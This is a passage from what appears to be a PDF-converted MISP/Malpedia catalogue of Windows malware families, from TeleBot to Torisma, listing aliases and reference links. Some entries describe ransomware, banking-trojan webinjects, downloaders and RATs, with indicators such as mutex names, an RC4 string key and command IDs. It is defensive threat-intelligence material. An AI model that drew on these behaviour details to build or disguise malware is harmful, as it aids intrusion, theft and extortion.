</tr>
<tr>
<td><a href="https://research.checkpoint.com/2020/rampant-kitten-an-iranian-espionage-campaign/">https://research.checkpoint.com/2020/rampant-kitten-an-iranian-espionage-campaign/</a></td>
</tr>
</tbody>
</table>

**TeleBot**

The tag is: misp-galaxy:malpedia="TeleBot"

TeleBot is also known as:

Table 4271. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.telebot">https://malpedia.caad.fkie.fraunhofer.de/details/win.telebot</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2017/06/30/telebots-back-supply-chain-attacks-against-ukraine">https://www.welivesecurity.com/2017/06/30/telebots-back-supply-chain-attacks-against-ukraine</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/iron-viking">https://www.secureworks.com/research/threat-profiles/iron-viking</a></td>
</tr>
</tbody>
</table>

**TeleDoor**

The tag is: misp-galaxy:malpedia="TeleDoor"
TeleDoor is also known as:

Table 4272. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.teledoor">https://malpedia.caad.fkie.fraunhofer.de/details/win.teledoor</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/iron-viking">https://www.secureworks.com/research/threat-profiles/iron-viking</a></td>
</tr>
</tbody>
</table>

TelegramGrabber

The tag is: misp-galaxy:malpedia="TelegramGrabber"

TelegramGrabber is also known as:

Table 4273. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.telegram_grabber">https://malpedia.caad.fkie.fraunhofer.de/details/win.telegram_grabber</a></td>
</tr>
</tbody>
</table>

Telemiris

The tag is: misp-galaxy:malpedia="Telemiris"

Telemiris is also known as:

Table 4274. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.telemiris">https://malpedia.caad.fkie.fraunhofer.de/details/win.telemiris</a></td>
</tr>
</tbody>
</table>

Teleport

Cisco Talos reports that this is a data exfiltration tool used by TA505.

The tag is: misp-galaxy:malpedia="Teleport"

Teleport is also known as:

Table 4275. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.teleport">https://malpedia.caad.fkie.fraunhofer.de/details/win.teleport</a></td>
</tr>
</tbody>
</table>
TellYouThePass

According to PCrisk, Tellyouthepass is one of many ransomware-type programs used to block access to files by encryption and keep them in this state unless a ransom is paid.

The program renames all encrypted files by adding the ".locked" extension and creates a ransom message in a text file called "README.html". For example, "1.jpg" is renamed by Tellyouthepass to "1.jpg.locked".

According to cyber criminals, this ransomware encrypts data using RSA-1024 and AES-256 cryptography algorithms.

The tag is: `misp-galaxy:malpedia="TellYouThePass"`

TellYouThePass is also known as:

Table 4276. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.tellyouthepass">https://malpedia.caad.fkie.fraunhofer.de/details/win.tellyouthepass</a></td>
</tr>
</tbody>
</table>

Tempedreve

The tag is: `misp-galaxy:malpedia="Tempedreve"`

Tempedreve is also known as:

Table 4277. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.tempedreve">https://malpedia.caad.fkie.fraunhofer.de/details/win.tempedreve</a></td>
</tr>
</tbody>
</table>

TempStealer

According to Cyble, this is a stealer targeting several crypto currency wallets along browser data.

The tag is: `misp-galaxy:malpedia="TempStealer"`

TempStealer is also known as:

Table 4278. Table References
Terminator RAT

The tag is: `misp-galaxy:malpedia="Terminator RAT"`

Terminator RAT is also known as:

- Fakem RAT

Table 4279. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.terminator_rat">https://malpedia.caad.fkie.fraunhofer.de/details/win.terminator_rat</a></td>
</tr>
<tr>
<td><a href="http://contagiodump.blogspot.com/2012/06/rat-samples-from-syrian-targeted.html">http://contagiodump.blogspot.com/2012/06/rat-samples-from-syrian-targeted.html</a></td>
</tr>
<tr>
<td><a href="https://malware.lu/assets/files/articles/RAP002_APT1_Technical_backstage.1.0.pdf">https://malware.lu/assets/files/articles/RAP002_APT1_Technical_backstage.1.0.pdf</a></td>
</tr>
</tbody>
</table>

Termite

The tag is: `misp-galaxy:malpedia="Termite"`

Termite is also known as:

Table 4280. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.termite">https://malpedia.caad.fkie.fraunhofer.de/details/win.termite</a></td>
</tr>
<tr>
<td><a href="https://threatrecon.nshc.net/2019/03/19/sectorm04-targeting-singapore-custom-malware-analysis/">https://threatrecon.nshc.net/2019/03/19/sectorm04-targeting-singapore-custom-malware-analysis/</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/evolution-of-fin7">https://www.mandiant.com/resources/evolution-of-fin7</a></td>
</tr>
</tbody>
</table>

TerraPreter

The tag is: `misp-galaxy:malpedia="TerraPreter"`

TerraPreter is also known as:

Table 4281. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.terrapreter">https://malpedia.caad.fkie.fraunhofer.de/details/win.terrapreter</a></td>
</tr>
</tbody>
</table>
TerraLoader

The tag is: misp-galaxy:malpedia="TerraLoader"

TerraLoader is also known as:

Table 4282. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.terra_loader">https://malpedia.caad.fkie.fraunhofer.de/details/win.terra_loader</a></td>
</tr>
<tr>
<td><a href="https://medium.com/walmartglobaltech/a-re-look-at-the-terraloader-dropper-dll-e5947ad6e244">https://medium.com/walmartglobaltech/a-re-look-at-the-terraloader-dropper-dll-e5947ad6e244</a></td>
</tr>
<tr>
<td><a href="https://github.com/StrangerealIntel/CyberThreatIntel/blob/master/Additional%20Analysis/Terraloader/2021-03-25/Analysis.md#terraloader%E2%80%94congrats-you-have-a-new-fake-job-">https://github.com/StrangerealIntel/CyberThreatIntel/blob/master/Additional%20Analysis/Terraloader/2021-03-25/Analysis.md#terraloader—congrats-you-have-a-new-fake-job-</a></td>
</tr>
</tbody>
</table>

TerraRecon

According to QuoINT TerraRecon is a reconnaissance tool, looking for a specific piece of hardware and software targeting retail and payment services sectors. Attributed to Golden Chickens.

The tag is: misp-galaxy:malpedia="TerraRecon"

TerraRecon is also known as:

• Taurus Loader Reconnaissance Module

Table 4283. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.terra_recon">https://malpedia.caad.fkie.fraunhofer.de/details/win.terra_recon</a></td>
</tr>
</tbody>
</table>
TerraStealer

According to QuoINT, TerraStealer (also known as SONE or StealerOne) is a generic reconnaissance tool, targeting for example email clients, web browsers, and file transfer utilities. Attributed to Golden Chickens.

The tag is: *misp-galaxy:malpedia=“TerraStealer”*

TerraStealer is also known as:

- SONE
- StealerOne
- Taurus Loader Stealer Module

Table 4284. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.terra_stealer">https://malpedia.caad.fkie.fraunhofer.de/details/win.terra_stealer</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/3xp0rtblog/status/1275746149719252992">https://twitter.com/3xp0rtblog/status/1275746149719252992</a></td>
</tr>
<tr>
<td><a href="https://github.com/eset/malware-ioc/tree/master/evilnum">https://github.com/eset/malware-ioc/tree/master/evilnum</a></td>
</tr>
</tbody>
</table>

TerraTV

TerraTV is a custom DLL designed to hijack legit TeamViewer applications. It was discovered and documented by QuoINT. It has been attributed to Golden Chickens malware as a service group.

The tag is: *misp-galaxy:malpedia=“TerraTV”*

TerraTV is also known as:

- Taurus Loader TeamViewer Module

Table 4285. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.terra_tv">https://malpedia.caad.fkie.fraunhofer.de/details/win.terra_tv</a></td>
</tr>
<tr>
<td><a href="https://blog.minerva-labs.com/taurus-user-guided-infection">https://blog.minerva-labs.com/taurus-user-guided-infection</a></td>
</tr>
</tbody>
</table>
TeslaCrypt

According to Kaspersky, detected in February 2015, the new ransomware Trojan gained immediate notoriety as a menace to computer gamers. Amongst other types of target files, it tries to infect typical gaming files: game saves, user profiles, recoded replays etc. That said, TeslaCrypt does not encrypt files that are larger than 268 MB. Recently,

The tag is: misp-galaxy:malpedia="TeslaCrypt"

TeslaCrypt is also known as:

• cryptesla

Table 4286. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.teslacrypt">https://malpedia.caad.fkie.fraunhofer.de/details/win.teslacrypt</a></td>
</tr>
<tr>
<td><a href="https://blogs.cisco.com/security/talos/teslacrypt">https://blogs.cisco.com/security/talos/teslacrypt</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2015/12/16/nemucod-malware-spreads-ransomware-teslacrypt-around-world/">https://www.welivesecurity.com/2015/12/16/nemucod-malware-spreads-ransomware-teslacrypt-around-world/</a></td>
</tr>
<tr>
<td><a href="https://community.riskiq.com/article/30f22a00">https://community.riskiq.com/article/30f22a00</a></td>
</tr>
<tr>
<td><a href="https://blog.malwarebytes.com/threat-analysis/2016/03/teslacrypt-spam-campaign-unpaid-issue/">https://blog.malwarebytes.com/threat-analysis/2016/03/teslacrypt-spam-campaign-unpaid-issue/</a></td>
</tr>
<tr>
<td><a href="https://www.endgame.com/blog/technical-blog/your-package-has-been-successfully-encrypted-teslacrypt-41a-and-malware-attack">https://www.endgame.com/blog/technical-blog/your-package-has-been-successfully-encrypted-teslacrypt-41a-and-malware-attack</a></td>
</tr>
</tbody>
</table>

TFlower

TFlower is a new ransomware targeting mostly corporate networks discovered in August, 2019. It is reportedly installed on networks by attackers after they gain access via RDP. TFlower displays a console showing activity being performed by the ransomware when it encrypts a machine, further indicating that this ransomware is triggered by the attacker post compromise, similar to Samsam/Samas in terms of TTP. Once encryption is started, the ransomware will conduct a status report to an apparently hard-coded C2. Shadow copies are deleted and the Windows 10 repair
environment is disabled by this ransomware. This malware also will terminate any running Outlook.exe process so that the mail files can be encrypted. This ransomware does not add an extension to encrypted files, but prepends the marker "*tflower" and what may be the encrypted encryption key for the file to each affected file. Once encryption is completed, another status report is sent to the C2 server.

The tag is: misp-galaxy:malpedia="TFlower"

TFlower is also known as:

<table>
<thead>
<tr>
<th>Table 4287. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.tflower">https://malpedia.caad.fkie.fraunhofer.de/details/win.tflower</a></td>
</tr>
<tr>
<td><a href="https://www.sygnia.co/mata-framework">https://www.sygnia.co/mata-framework</a></td>
</tr>
</tbody>
</table>

**Thanatos**

The tag is: misp-galaxy:malpedia="Thanatos"

Thanatos is also known as:

- Alphabot

<table>
<thead>
<tr>
<th>Table 4288. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.thanatos">https://malpedia.caad.fkie.fraunhofer.de/details/win.thanatos</a></td>
</tr>
</tbody>
</table>

**Thanatos Ransomware**

The tag is: misp-galaxy:malpedia="Thanatos Ransomware"

Thanatos Ransomware is also known as:

<table>
<thead>
<tr>
<th>Table 4289. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.thanatos_ransom">https://malpedia.caad.fkie.fraunhofer.de/details/win.thanatos_ransom</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/2018/06/ThanatosDecryptor.html">https://blog.talosintelligence.com/2018/06/ThanatosDecryptor.html</a></td>
</tr>
</tbody>
</table>
ThinMon

The tag is: misp-galaxy:malpedia="ThinMon"

ThinMon is also known as:

Table 4290. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.thinmon
https://mp.weixin.qq.com/s/nyxZFXgrtm2-tBiV3-wiMg

ThreeByte

The tag is: misp-galaxy:malpedia="ThreeByte"

ThreeByte is also known as:

Table 4291. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.threebyte

ThumbThief

The tag is: misp-galaxy:malpedia="ThumbThief"

ThumbThief is also known as:

Table 4292. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.thumbthief

ThunderX

Ransomware.

The tag is: misp-galaxy:malpedia="ThunderX"

ThunderX is also known as:
• Ranzy Locker

Table 4293. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.thunderx">https://malpedia.caad.fkie.fraunhofer.de/details/win.thunderx</a></td>
</tr>
<tr>
<td><a href="https://www.picussecurity.com/resource/blog/a-detailed-walkthrough-of-ranzy-locker-ransomware-tips">https://www.picussecurity.com/resource/blog/a-detailed-walkthrough-of-ranzy-locker-ransomware-tips</a></td>
</tr>
<tr>
<td><a href="https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/">https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/</a></td>
</tr>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2020/08/thunderx-ransomware.html">https://id-ransomware.blogspot.com/2020/08/thunderx-ransomware.html</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/chasing-avaddon-ransomware">https://www.mandiant.com/resources/chasing-avaddon-ransomware</a></td>
</tr>
<tr>
<td><a href="https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3">https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3</a></td>
</tr>
</tbody>
</table>

Thunker

The tag is: misp-galaxy:malpedia="Thunker"

Thunker is also known as:

Table 4294. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.thunker">https://malpedia.caad.fkie.fraunhofer.de/details/win.thunker</a></td>
</tr>
</tbody>
</table>

Tidepool

The tag is: misp-galaxy:malpedia="Tidepool"

Tidepool is also known as:

Table 4295. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.tidepool">https://malpedia.caad.fkie.fraunhofer.de/details/win.tidepool</a></td>
</tr>
<tr>
<td><a href="http://researchcenter.paloaltonetworks.com/2016/05/operation-ke3chang-resurfaces-with-new-tidepool-malware/">http://researchcenter.paloaltonetworks.com/2016/05/operation-ke3chang-resurfaces-with-new-tidepool-malware/</a></td>
</tr>
</tbody>
</table>
TigerLite

TigerLite is a TCP downloader.

It creates mutexes like "qtrgads32" or "Microsoft32".

It uses RC4 with the key "MicrosoftCorporationValidation@#$%^&*()!US" for decryption of its character strings, and a custom algorithm for encryption and decryption of network traffic.

It supports from 5 up to 8 commands with the following identifiers: 1111, 1234, 2099/3333, 4444, 8877, 8888, 9876, 9999. The commands mostly perform various types of execution - either of code received from the server, or native Windows commands, with their output collected and sent back to the server.

TigerLite is an intermediate step of a multi-stage attack, in which Tiger RAT is usually the next step. This malware was observed in attacks against South Korean entities in H1 2021.

The tag is: misp-galaxy:malpedia="TigerLite"

TigerLite is also known as:

Table 4296. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.tigerlite">https://malpedia.caad.fkie.fraunhofer.de/details/win.tigerlite</a></td>
</tr>
</tbody>
</table>

Tiger RAT

This is third stage backdoor mentioned in the Kaspersky blog, "Andariel evolves to target South Korea with ransomware". The third stage payload was created via the second stage payload, is interactively executed in the operation and exists in both x64 and x86 versions. Most of them use Internet Explorer or Google Chrome icons and corresponding file names to disguise themselves as legitimate internet browsers. The malware decrypts the embedded payload at runtime. It uses an embedded 16-byte XOR key to decrypt the base64 encoded payload. The decrypted payload is
another portable executable file that runs in memory. Before getting decrypted with a hardcoded XOR key, the backdoor also checks for sandbox environment. The backdoor has some code overlap with a know malware family PEBBLEDASH, attributed to Lazarus/LABYRINTH CHOLLIMA.

The tag is: misp-galaxy:malpedia="Tiger RAT"

Tiger RAT is also known as:

Table 4297. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.tiger_rat">https://malpedia.caad.fkie.fraunhofer.de/details/win.tiger_rat</a></td>
</tr>
<tr>
<td><a href="https://asec.ahnlab.com/wp-content/uploads/2021/11/Lazarus-%EA%B7%B8%EB%A3%B9%EC%9D%98-NukeSped-%EC%95%85%EC%84%B1%EC%BD%94%EB%93%9C-%EB%B6%84%EC%84%9D-%EB%B3%B4%EA%B3%A0%EC%84%9C.pdf">https://asec.ahnlab.com/wp-content/uploads/2021/11/Lazarus-%EA%B7%B8%EB%A3%B9%EC%9D%98-NukeSped-%EC%95%85%EC%84%B1%EC%BD%94%EB%93%9C-%EB%B6%84%EC%84%9D-%EB%B3%B4%EA%B3%A0%EC%84%9C.pdf</a></td>
</tr>
<tr>
<td><a href="https://asec.ahnlab.com/ko/56256/">https://asec.ahnlab.com/ko/56256/</a></td>
</tr>
<tr>
<td><a href="https://media.defense.gov/2023/Feb/09/2003159161/-1/-1/0/CSA_RANSOMWARE_ATTACKS_ON_CI_FUNDS_DPRK_ACTIVITIES.PDF">https://media.defense.gov/2023/Feb/09/2003159161/-1/-1/0/CSA_RANSOMWARE_ATTACKS_ON_CI_FUNDS_DPRK_ACTIVITIES.PDF</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/2022/09/lazarus-magicrat.html">https://blog.talosintelligence.com/2022/09/lazarus-magicrat.html</a></td>
</tr>
<tr>
<td><a href="https://www.attackiq.com/2023/01/05/emulating-the-highly-sophisticated-north-korean-adversary-lazarus-group/">https://www.attackiq.com/2023/01/05/emulating-the-highly-sophisticated-north-korean-adversary-lazarus-group/</a></td>
</tr>
<tr>
<td><a href="https://www.brighttalk.com/webcast/18282/493986">https://www.brighttalk.com/webcast/18282/493986</a></td>
</tr>
</tbody>
</table>

**tildeb**

Standalone implant. Potentially tied to a framework called PATROLWAGON.

The tag is: misp-galaxy:malpedia="tildeb"

tildeb is also known as:

Table 4298. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.tildeb">https://malpedia.caad.fkie.fraunhofer.de/details/win.tildeb</a></td>
</tr>
</tbody>
</table>
Tinba

F-Secure notes that TinyBanker or short Tinba is usually distributed through malvertising (advertising content that leads the user to sites hosting malicious threats), exploit kits and spam email campaigns. According to news reports, Tinba has been found targeting bank customers in the United States and Europe.

If Tinba successfully infects a device, it can steal banking and personal information through webinjects. To do this, the malware monitors the user's browser activity and if specific banking portals are visited, Tinba injects code to present the victim with fake web forms designed to mimic the legitimate web site. The malware then tricks them into entering their personal information, login credentials, etc in the legitimate-looking page.

Tinba may also display socially-engineered messages to lure or pressure the user into entering their information on the fake page; for example, a message may be shown which attempts to convince the victim that funds were accidentally deposited to his account and must be refunded immediately.

The tag is: misp-galaxy:malpedia="Tinba"

Tinba is also known as:

• Illi
• TinyBanker
• Zusy

Table 4299. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://adalogics.com/blog/the-state-of-advanced-code-injections">https://adalogics.com/blog/the-state-of-advanced-code-injections</a></td>
</tr>
<tr>
<td><a href="https://securityblog.switch.ch/2015/06/18/so-long-and-thanks-for-all-the-domains/">https://securityblog.switch.ch/2015/06/18/so-long-and-thanks-for-all-the-domains/</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/2022/02/threat-roundup-0204-0211.html">https://blog.talosintelligence.com/2022/02/threat-roundup-0204-0211.html</a></td>
</tr>
</tbody>
</table>
TinyFluff

TinyFluff is a dropper developed by the OldGremlin group. In one of their March ’22 campaigns, TinyFluff included a JavaScript RAT with a time-independent DGA.

The tag is: `misp-galaxy:malpedia="TinyFluff"

TinyFluff is also known as:

Table 4300. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.tinyfluff">https://malpedia.caad.fkie.fraunhofer.de/details/win.tinyfluff</a></td>
</tr>
<tr>
<td><a href="https://www.group-ib.com/blog/oldgremlin-comeback/">https://www.group-ib.com/blog/oldgremlin-comeback/</a></td>
</tr>
</tbody>
</table>

TinyLoader

The tag is: `misp-galaxy:malpedia="TinyLoader"

TinyLoader is also known as:

Table 4301. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.tinyloader">https://malpedia.caad.fkie.fraunhofer.de/details/win.tinyloader</a></td>
</tr>
</tbody>
</table>

TinyMet

TinyMet is a meterpreter stager.

The tag is: `misp-galaxy:malpedia="TinyMet"

TinyMet is also known as:

- TiniMet
TinyNuke (aka Nuclear Bot) is a fully-fledged banking trojan including HiddenDesktop/VNC server and a reverse socks4 server. It was for sale on underground marketplaces for $2500 in 2016. The program’s author claimed the malware was written from scratch, but that it functioned similarly to the ZeuS banking trojan in that it could steal passwords and inject arbitrary content when victims visited banking Web sites. However, he then proceeded to destroy his own reputation on hacker forums by promoting his development too aggressively. As a displacement activity, he published his source code on Github. XBot is an off-spring of TinyNuke, but very similar to its ancestor.

The tag is: misp-galaxy:malpedia="TinyNuke"

TinyNuke is also known as:

- MicroBankingTrojan
- Nuclear Bot
- NukeBot
- Xbot

Table 4303. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.tinynuke">https://malpedia.caad.fkie.fraunhofer.de/details/win.tinynuke</a></td>
</tr>
</tbody>
</table>

1936
TinyTyphon

The tag is: misp-galaxy:malpedia="TinyTyphon"

TinyTyphon is also known as:

Table 4304. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.tinytyphon
https://www.forcepoint.com/blog/x-labs/monsoon-analysis-apt-campaign

TinyZbot

The tag is: misp-galaxy:malpedia="TinyZbot"

TinyZbot is also known as:

Table 4305. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.tinyzbot
https://know.netenrich.com/threatintel/threat_actor/Cutting%20Kitten
https://www.secureworks.com/research/threat-profiles/cobalt-gypsy
**TinyTurla**

Talos describes this as a malware family with very scoped functionality and thus a small code footprint, likely used as a second chance backdoor.

The tag is: misp-galaxy:malpedia="TinyTurla"

TinyTurla is also known as:

*Table 4306. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.tiny_turla">https://malpedia.caad.fkie.fraunhofer.de/details/win.tiny_turla</a></td>
</tr>
<tr>
<td><a href="https://infosec.exchange/@SophosXOps/111109357153515214">https://infosec.exchange/@SophosXOps/111109357153515214</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/2021/09/tinyturla.html">https://blog.talosintelligence.com/2021/09/tinyturla.html</a></td>
</tr>
</tbody>
</table>

**Tiop**

The tag is: misp-galaxy:malpedia="Tiop"

Tiop is also known as:

*Table 4307. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.tiop">https://malpedia.caad.fkie.fraunhofer.de/details/win.tiop</a></td>
</tr>
</tbody>
</table>

**TitanStealer**

The stealer is written in Go and capable of stealing a variety of information from infected Windows machines, including credential data from browsers and crypto wallets, FTP client details, screenshots, system information, and grabbed files.

The tag is: misp-galaxy:malpedia="TitanStealer"

TitanStealer is also known as:

*Table 4308. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.titan_stealer">https://malpedia.caad.fkie.fraunhofer.de/details/win.titan_stealer</a></td>
</tr>
<tr>
<td><a href="https://github.com/D4NTESCODE/TitanStealerSource">https://github.com/D4NTESCODE/TitanStealerSource</a></td>
</tr>
<tr>
<td><a href="https://blog.bushidotoken.net/2022/11/detecting-and-fingerprinting.html">https://blog.bushidotoken.net/2022/11/detecting-and-fingerprinting.html</a></td>
</tr>
</tbody>
</table>
**Tmanger**

The tag is: `misp-galaxy:malpedia="Tmanger"`

Tmanger is also known as:

- LuckyBack

---

**Tofsee**

According to PCrisk, Tofsee (also known as Gheg) is a malicious Trojan-type program that is capable of performing DDoS attacks, mining cryptocurrency, sending emails, stealing various account credentials, updating itself, and more.

Cyber criminals mainly use this program as an email-oriented tool (they target users' email accounts), however, having Tofsee installed can also lead to many other problems.

The tag is: `misp-galaxy:malpedia="Tofsee"`

Tofsee is also known as:

- Gheg
TokyoX

The tag is: misp-galaxy:malpedia="TokyoX"
TokyoX is also known as:

Table 4311. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.tokyox">https://malpedia.caad.fkie.fraunhofer.de/details/win.tokyox</a></td>
</tr>
<tr>
<td><a href="https://lab52.io/blog/tokyox-dll-side-loading-an-unknown-artifact/">https://lab52.io/blog/tokyox-dll-side-loading-an-unknown-artifact/</a></td>
</tr>
<tr>
<td><a href="https://lab52.io/blog/tokyox-dll-side-loading-an-unknown-artifact-part-2/">https://lab52.io/blog/tokyox-dll-side-loading-an-unknown-artifact-part-2/</a></td>
</tr>
</tbody>
</table>

**tomiris**

The tag is: `misp-galaxy:malpedia="tomiris"`

tomiris is also known as:

Table 4312. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.tomiris">https://malpedia.caad.fkie.fraunhofer.de/details/win.tomiris</a></td>
</tr>
</tbody>
</table>

**TONEDEAF**

TONEDEAF is a backdoor that communicates with Command and Control servers using HTTP or DNS. Supported commands include system information collection, file upload, file download, and arbitrary shell command execution. When executed, this variant of TONEDEAF wrote encrypted data to two temporary files – temp.txt and temp2.txt – within the same directory of its execution.

The tag is: `misp-galaxy:malpedia="TONEDEAF"`

TONEDEAF is also known as:

Table 4313. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.tonedeaf">https://malpedia.caad.fkie.fraunhofer.de/details/win.tonedeaf</a></td>
</tr>
<tr>
<td><a href="https://intezer.com/blog-new-iranian-campaign-tailored-to-us-companies-uses-updated-toolset/">https://intezer.com/blog-new-iranian-campaign-tailored-to-us-companies-uses-updated-toolset/</a></td>
</tr>
</tbody>
</table>

**TONESHELL**

The tag is: `misp-galaxy:malpedia="TONESHELL"`
TONESHELL is also known as:

Table 4314. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.toneshell">https://malpedia.caad.fkie.fraunhofer.de/details/win.toneshell</a></td>
</tr>
</tbody>
</table>

**Tonnerre**

The tag is: *misp-galaxy:malpedia=*Tonnerre*

Tonnerre is also known as:

Table 4315. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.tonnerre">https://malpedia.caad.fkie.fraunhofer.de/details/win.tonnerre</a></td>
</tr>
<tr>
<td><a href="https://research.checkpoint.com/2021/after-lightning-comes-thunder/">https://research.checkpoint.com/2021/after-lightning-comes-thunder/</a></td>
</tr>
</tbody>
</table>

**Topinambour**

The tag is: *misp-galaxy:malpedia=*Topinambour*

Topinambour is also known as:

Table 4316. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.topinambour">https://malpedia.caad.fkie.fraunhofer.de/details/win.topinambour</a></td>
</tr>
</tbody>
</table>

**Torisma**

Torisma is a complex HTTP(S) downloader, that can serve as an orchestrator handling the execution of additional payloads from the C&C server.

It uses VEST-32 for encryption and decryption of network traffic between the client and the server.

Typically, it uses these parameter names for its HTTP POST requests: ACTION, CODE, CACHE, REQUEST, RES. It sends the victim’s MAC address in the initial request.
